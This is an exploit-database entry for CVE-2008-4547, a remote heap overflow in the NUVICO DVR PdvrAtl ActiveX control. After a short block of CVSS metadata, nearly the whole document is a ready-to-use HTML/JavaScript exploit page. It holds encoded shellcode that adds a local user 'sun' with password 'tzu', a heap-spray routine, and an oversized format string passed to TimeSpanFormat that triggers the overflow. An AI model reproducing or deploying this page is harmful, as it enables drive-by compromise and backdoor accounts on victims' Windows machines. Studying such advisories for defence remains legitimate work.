NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) BoF

2008-10-15 / 2008-10-16

Credit: rgod

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-4547

CWE: CWE-119

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

<!--
NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) remote heap
overflow exploit (IE7/XP SP2)
check a camera demo here: http://www.2mcctv.com/2mdemo.php
codebase: http://www.dvrstation.com/pdvratl.php?vendor=0
rgod /////////////////////////////// http://retrogod.altervista.org
-->
<html>
<script language="javascript">
//add su one, user: sun pass: tzu
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241%u4142%u4230%u5841%u3850%u4241%u6d75%u6b39%u494c%u5078%u3344%u6530%u7550%u4e50%u716b%u6555%u6c6c%u614b%u676c%u3175%u6568%u5a51%u4e4f%u306b%u564f%u4c78%u414b%u774f%u4450%u4841%u576b%u4c39%u664b%u4c54%u444b%u7841%u466e%u6951%u4f50%u6c69%u6b6c%u6f34%u3330%u6344%u6f37%u6a31%u646a%u474d%u4871%u7842%u4c6b%u6534%u716b%u5144%u6334%u7434%u5835%u6e65%u736b%u646f%u7364%u5831%u756b%u4c36%u644b%u624c%u6c6b%u634b%u656f%u574c%u7871%u4c6b%u774b%u4c6c%u464b%u7861%u4f6b%u7379%u516c%u3334%u6b34%u7073%u4931%u7550%u4e34%u536b%u3470%u4b70%u4f35%u7030%u4478%u4c4c%u414b%u5450%u4c4c%u624b%u6550%u6c4c%u6e6d%u626b%u6548%u6858%u336b%u6c39%u4f4b%u4e70%u5350%u3530%u4350%u6c30%u704b%u3568%u636c%u366f%u4b51%u5146%u7170%u4d46%u5a59%u6c58%u5943%u6350%u364b%u4230%u7848%u686f%u694e%u3170%u3370%u4d58%u6b48%u6e4e%u346a%u464e%u3937%u396f%u7377%u7053%u426d%u6444%u756e%u5235%u3058%u6165%u4630%u654f%u3133%u7030%u706e%u3265%u7554%u7170%u7265%u5353%u7055%u5172%u5030%u4273%u3055%u616e%u4330%u7244%u515a%u5165%u5430%u526f%u5161%u3354%u3574%u7170%u5736%u4756%u7050%u306e%u7465%u4134%u7030%u706c%u316f%u7273%u6241%u614c%u4377%u6242%u524f%u3055%u6770%u3350%u7071%u3064%u516d%u4279%u324e%u7049%u5373%u5244%u4152%u3371%u3044%u536f%u4242%u6153%u5230%u4453%u5035%u756e%u3470%u506f%u6741%u7734%u4734%u4570");
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<500;i++){memory[i] = block+shellcode}
var suntzu = new ActiveXObject("PdvrAtl.PdvrOcx.1");//D64CF6D4-45DF-4D8F-9F14-E65FADF2777C
wszFormat="";
for (i=0;i<=1666;i++){wszFormat=wszFormat + unescape("%0d")}
nTime=1;
suntzu.TimeSpanFormat(nTime ,wszFormat);
</script>
</html>

References:

http://xforce.iss.net/xforce/xfdb/39640

http://www.securityfocus.com/bid/27267

http://www.milw0rm.com/exploits/4903

http://secunia.com/advisories/28443

See this note in RAW Version

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NUVICO DVR NVDV4 / PdvrAtl Module (PdvrAtl.DLL 1.0.1.25) BoF

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